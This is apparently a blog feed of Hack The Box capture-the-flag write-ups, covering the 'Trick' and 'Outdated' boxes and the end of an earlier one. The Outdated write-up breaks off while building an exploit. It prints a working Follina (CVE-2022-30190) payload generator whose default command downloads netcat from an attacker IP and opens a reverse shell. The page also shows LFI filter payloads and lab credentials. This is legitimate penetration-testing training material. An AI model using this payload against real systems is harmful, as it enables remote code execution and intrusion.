&lt;p&gt;Using an extensive list such as &lt;code&gt;john.txt&lt;/code&gt; from the &lt;code&gt;statistically-likely-usernames&lt;/code&gt; repo yields us the following result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5825f1bb019e7d74dc124ad7bfd2de91.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It appears that there&apos;s a user called &lt;em&gt;josh&lt;/em&gt;!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5380886a8493b98abb468184c9584a5b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1e1fe029e475dac70d92c4ceab1fd5fb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s try cracking the MD5 hash.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/164e91a07156473c98e65f602fca83f4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;josh
remembermethisway
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;NoSQLi Alternative&lt;/h3&gt;
&lt;p&gt;Since we already know that there&apos;s a NoSQLi vulnerability we can leverage it to find all present users:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/becdc1ae836721f2f99a7a640663ca4e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/10a5d9e080502d17522f9fe53dbfdbd8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now that we&apos;ve found creds we should be able to login, but where? SSH did not work so let&apos;s look further.&lt;/p&gt;
&lt;h3&gt;Subdomain fuzzing&lt;/h3&gt;
&lt;p&gt;I tried out port &lt;code&gt;9093&lt;/code&gt; but that did not seem helpful in any way so I ran &lt;code&gt;ffuf&lt;/code&gt; to enumerate further:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7731070da46818c79a1a193bb1ab0e61.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And I was able to find the &lt;code&gt;mattermost&lt;/code&gt; subdomain!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1211094d41c4541e8655a347b1f7f2a9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;mattermost&lt;/h3&gt;
&lt;p&gt;After adding the domain to my &lt;code&gt;/etc/hosts&lt;/code&gt; I went ahead and visited the website:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b1364402aa25848c00650f75bff55233.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I used the previously found creds to login:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/06bbbf467829c39cf566b6b3d3857262.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/51b964571d4518d2e0d53a6a190712cd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Scrolling through the channels we find cleartext credentials posted:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/73636dda0b84ec7bba10c15dce0df535.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;jaeger
Sh0ppyBest@pp!
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;SSH as jaeger&lt;/h2&gt;
&lt;p&gt;Using the found creds we get access to the target:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f950ab13265ec08dd4a8527f366c0931.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;We can grab the first flag right away:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3751d2e95fccee143d4aecec41205487.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Strings&lt;/h3&gt;
&lt;p&gt;I perform some surface level enum of the user:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d1093373ae96aafebecdf9cdc2a2e8c1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is the program &lt;em&gt;josh&lt;/em&gt; was talking about in the chat:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d8e7cd97568a5df2c2f6732b337f6f75.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Apparently it&apos;s written in &lt;code&gt;C++&lt;/code&gt;, not sure whether that&apos;s useful for us right now.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3a4634e3d567d5fb984267895bde55be.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tested it out:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/026d4488036aa0d72908591f3a864e57.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried the other password but that didn&apos;t work either:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/906aea979375bf65ab1e270e46b81311.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I read the binary using &lt;code&gt;strings&lt;/code&gt; to understand how it works underneath:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f85183de1c18fb46bd3e944ed7ebb2c6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Furthermore we can use the &lt;code&gt;-e&lt;/code&gt; option on &lt;code&gt;strings&lt;/code&gt; in order to select character endianness:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7629ddb0a62fc86bf15ca0c0716d3a50.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e45c1aa6cacaa2f03ca8dadcab47a356.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using the hardcoded credentials we can get access to &lt;code&gt;creds.txt&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/061d4dfede53009f711542d569524652.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;deploy
Deploying@pp!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This gives us the ability to move laterally.&lt;/p&gt;
&lt;h2&gt;Lateral Movement&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b3ac891b955433cdd9eeea9988483ba2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Eventhough we weren&apos;t able to run &lt;code&gt;sudo -l&lt;/code&gt; we still find that we&apos;re part of the &lt;code&gt;docker&lt;/code&gt; group.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/63ff017feac208946b0dbd790cfb37da.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Docker&lt;/h2&gt;
&lt;p&gt;This is an amazing position to be in since we can easily exploit the binary using &lt;a href=&quot;https://gtfobins.github.io/gtfobins/docker/&quot;&gt;GTFObins&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ab42476702dac3764d7bf0fe33db2531.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8de08039ff23bae82afd55f560e8494a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ca21c34870e1f86b4e8bfb54126a6cd4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/27cdd06b869fa45a22ce4f5ff9a270ab.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Trick</title><link>https://maxk9999.vercel.app/posts/trick</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/trick</guid><pubDate>Thu, 25 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.166
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC -sT -p- trick.htb -T5 --min-rate=5000 -vvvv -Pn 

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp open  smtp    syn-ack Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open  domain  syn-ack ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    syn-ack nginx 1.14.2
|_http-server-header: nginx/1.14.2
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-title: Coming Soon - Start Bootstrap Theme
Service Info: Host:  debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I noticed the &lt;code&gt;53&lt;/code&gt; port first which I used to zone transfer:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/58276f790acfb22373702c67181edc11.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found a subdomain called &lt;code&gt;preprod-payroll&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;h3&gt;preprod-payroll&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ca0468abe25bd0edb0d12bcb7ca74141.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I used &lt;code&gt;gobuster&lt;/code&gt; to enumerate the endpoints. Since this is a &lt;em&gt;pre-production&lt;/em&gt; subdomain, it&apos;s LIKELY to still contain debug functionalities of some sorts.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/82d580c7508f76dede2bec86213046d0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/users.php&lt;/code&gt; sounds interesting!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/506c344079c9d2caa1710f984fb30b8c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then checked out the other endpoints:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/04e48f17da723164f1813f82fe3725ab.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But I couldn&apos;t do anything in either of them. I know that there&apos;s a &lt;code&gt;/database&lt;/code&gt; however, meaning some sort of SQL commands get used. Maybe there&apos;s a SQLi here?&lt;/p&gt;
&lt;h3&gt;SQLi testing&lt;/h3&gt;
&lt;p&gt;I copied the initial request and used it with &lt;code&gt;sqlmap&lt;/code&gt; to bruteforce the db:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5775c1afe2def035ac2c01b396b98257.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cb35771b1a8cbd6ab9d5ac373035c937.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It worked!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/36e1e2485ebe3b1fd69016d8b9efb944.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found the creds down below:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3a42e888fac6c60acaac1a9b6b6efdf3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Administrator
SuperGucciRainbowCake
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I could now use these creds to login:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e05db0a133eab3660853779037fe2698.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;LFI&lt;/h3&gt;
&lt;p&gt;I tried out reading &lt;code&gt;/etc/passwd&lt;/code&gt; using the URL but that didn&apos;t work:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ddfe9cf164c84983892c0650779b79eb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This didn&apos;t seem to work so I tried my next trick to get the PHP page source:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php://filter/read=convert.base64-encode/resource=users
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7f6b5936c0688aff013f4a5c0fceae19.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then used the following to decode the &lt;code&gt;base64&lt;/code&gt; encoding:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e34099f9b83032b5419af685fd9436d5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/917216dbf2a0f65aacd4bc21b566ef16.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The above gave us the file that we should look into, so I went ahead and read and decoded it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/272687f6dc85ba2228978f95963c86e8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c2a05ce547c8d8424d13456a09a90f76.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This gave us a set of creds.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;remo
TrulyImpossiblePasswordLmao123
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However this would not give us access to &lt;code&gt;ssh&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/01c40011517b96c11a1e5c90ca62cd9a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried out port &lt;code&gt;25&lt;/code&gt; but got nowhere either.&lt;/p&gt;
&lt;h3&gt;ffuf - discovering preprod-marketing&lt;/h3&gt;
&lt;p&gt;Instead I used &lt;code&gt;ffuf&lt;/code&gt; to discover yet another subdomain called &lt;code&gt;preprod-marketing&lt;/code&gt; as follows:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6025a02369b6274a9720c9b85916dfc1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;preprod-marketing&lt;/h3&gt;
&lt;p&gt;I head on over to the webpage and am greeted with this landing page.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/aa5220a307e83594018dc9fa2e666b0f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here we find yet again a possible &lt;strong&gt;LFI&lt;/strong&gt; vulnerability:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4b646d1a852b26508f046c272d2925a7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Even More LFI&lt;/h3&gt;
&lt;p&gt;I was able to retrieve the &lt;code&gt;/etc/passwd&lt;/code&gt; file contents as follows:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/026b2bf2225c455681792a8e3a715f06.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here we find the user &lt;em&gt;michael&lt;/em&gt;. It is possible that the passwords are reused.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b0165a676126d6d15f0c01772dcb660b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately they aren&apos;t. However we can easily grab &lt;em&gt;michael&lt;/em&gt;&apos;s &lt;code&gt;id_rsa&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2fe4f5fe3e38b525ff08a592792568c9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;SSH as michael&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/29dd0e20aee1a1f9fef7a8747ad4dcdf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bde97b9454e9875965fd049cc4d15f97.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;fail2ban&lt;/h2&gt;
&lt;p&gt;Checking &lt;code&gt;sudo -l&lt;/code&gt; we notice the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/445ab9ebf50fd2f1921a04b592f926bd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/38eda0b835e4c24bccf07954e03dccb5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!quote]+
In Linux, fail2ban is mostly used to protect the SSH service. If the daemon detects several unsuccessful ssh login attempts, it executes a command that blocks the IP address. So misconfigurations can lead to privilege escalation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I used the &lt;code&gt;github&lt;/code&gt; link and read the instructions:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1e05139e2727446c89e47a32db20b5a9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7ff2067191e98df14a16d8f8841e56a5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d3e46555fc07ff25979c40add2c40293.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then started up the exploit:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/aead5388e784f41a44ab7e2e83c077d4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After waiting for roughly 100 seconds we become &lt;em&gt;root&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/de896d103e3babd77e67262b1cf7947c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8af7c8d7a349df2d63630541b7ad80ea.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1180093833ed71bcdba796118467e570.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Outdated</title><link>https://maxk9999.vercel.app/posts/outdated</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/outdated</guid><pubDate>Sat, 27 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.175
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC -sT -p- outdated.htb -T5 --min-rate=5000 -vvvv -Pn

PORT      STATE SERVICE       REASON  VERSION
25/tcp    open  smtp          syn-ack hMailServer smtpd
| smtp-commands: mail.outdated.htb, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-09-27 14:00:55Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.outdated.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC.outdated.htb
| Issuer: commonName=outdated-DC-CA/domainComponent=outdated
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8530/tcp  open  http          syn-ack Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: Site doesnt have a title.
|_http-server-header: Microsoft-IIS/10.0
8531/tcp  open  unknown       syn-ack
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49689/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         syn-ack Microsoft Windows RPC
49901/tcp open  msrpc         syn-ack Microsoft Windows RPC
58694/tcp open  msrpc         syn-ack Microsoft Windows RPC
58712/tcp open  msrpc         syn-ack Microsoft Windows RPC
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There&apos;s a web server open on &lt;code&gt;8530&lt;/code&gt; and &lt;code&gt;smtp&lt;/code&gt; seems to be open as well. Furthermore this seems to be a &lt;strong&gt;Domain Controller&lt;/strong&gt; inside the &lt;strong&gt;outdated.htb&lt;/strong&gt; domain called &lt;strong&gt;DC.outdated.htb&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;I also noticed the &lt;code&gt;mail.outdated.htb&lt;/code&gt; subdomain present as mentioned by &lt;code&gt;smtp&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;88/TCP - Kerberos&lt;/h2&gt;
&lt;h3&gt;Kerbrute&lt;/h3&gt;
&lt;p&gt;I started off by enumerating any and all usernames inside the domain using the &lt;code&gt;statistically-likely-usernames&lt;/code&gt; repo:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/92074e1481e2a7ccd7a97e2248c89bb1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b6511b4fe4ea1c6f164d7f4de3ee2c96.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From this I went ahead and made a &lt;code&gt;users.txt&lt;/code&gt; list for further password spraying.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sflowers
Administrator
Guest
client
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;445/TCP - SMB&lt;/h2&gt;
&lt;h3&gt;netexec - password spray&lt;/h3&gt;
&lt;p&gt;By using this user list I went ahead and sprayed it against the DC:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ec5785a1f0eda1290d1828bd8e112381.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We got a valid match!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;client
sflowers
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;netexec - enum&lt;/h3&gt;
&lt;p&gt;I then went ahead and started enumerating what sort of access this user had:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fabc4fa103b9b33d76a19fe93d41441e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Seems like we can&apos;t enumerate the shares but we do have access to &lt;code&gt;ldap&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Enum4Linux-ng&lt;/h3&gt;
&lt;p&gt;Since we have a valid set we can use it with &lt;code&gt;enum4linux-ng&lt;/code&gt; to enumerate the DC:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8dbbc03054f443fa2def6c9bfacc2e32.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9293ea525b69c7f80711ecaf79c6400c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Further down we find the network shares present:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1e5ba299a3aceb5dac4b405a371e764e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since this script told us that authentication with blank usernames and password is allowed we might just do that:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/df90d5778c7f270c2b680ed192d93e99.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;There&apos;s one file present inside the &lt;code&gt;Shares&lt;/code&gt; share which we can read and access:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b48b93926e3b7e3364c1998379f50045.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s download the file and check it out.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/98fc63abde1e9b88635b5a5cfcf2299c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2eb9ef07006646b4b56773c4cfc490c1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This looks really promising!&lt;/p&gt;
&lt;p&gt;:::note
The print spooler service being on could result in an easy PrivEsc further on.
:::&lt;/p&gt;
&lt;p&gt;We also get an email from this.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;itsupport@outdated.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;CVE-2022-30190&lt;/h2&gt;
&lt;p&gt;I started digging into this one:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/89d5a840e00070b40a00d2b4fc155f77.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This led me to another &lt;a href=&quot;https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e&quot;&gt;blog post&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2f2f8c51016bdbe6c5b4613d93d031a9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So naturally I looked it up on &lt;code&gt;github&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8ad8dca98ed0cde6eb1cd670da93cb12.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can use the following &lt;a href=&quot;https://github.com/JohnHammond/msdt-follina&quot;&gt;gihub repo for reference&lt;/a&gt; by John Hammond:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/398eca92b962fb35b83ce0bd0b3721a6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s check out how to run this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/aedc4d8ce4cc08582a5c1d20d4e22135.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I moved the two files over to my directory and got to work:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/eafb4db2510cf52e9d8b00c95b401895.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since the &lt;code&gt;follina.py&lt;/code&gt; script is quite extensive we can instead narrow it down just to the following:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import base64
import random
import string
import sys

if len(sys.argv) &amp;gt; 1:
    command = sys.argv[1]
else:
    command = &quot;IWR http://10.10.14.7/nc64.exe -outfile C:\\programdata\\nc64.exe; C:\\programdata\\nc64.exe 10.10.14.7 443 -e cmd&quot;

base64_payload = base64.b64encode(command.encode(&quot;utf-8&quot;)).decode(&quot;utf-8&quot;)

# Slap together a unique MS-MSDT payload that is over 4096 bytes at minimum
html_payload = f&quot;&quot;&quot;&amp;lt;script&amp;gt;location.href = &quot;ms-msdt:/id PCWDiagnostic /skip force /param \\&quot;IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression(&apos;[System.Text.Encoding]&apos;+[char]58+[char]58+&apos;UTF8.GetString([System.Convert]&apos;+[char]58+[char]58+&apos;FromBase64String(&apos;+[char]34+&apos;{base64_payload}&apos;+[char]34+&apos;))&apos;))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\\&quot;&quot;; //&quot;&quot;&quot;
html_payload += (
    &quot;&quot;.join([random.choice(string.ascii_lowercase) for _ in range(4096)])
    + &quot;\n&amp;lt;/script&amp;gt;&quot;
)

print(html_payload)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We save it and run it and save the output to an &lt;code&gt;.html&lt;/code&gt; file:&lt;/p&gt;
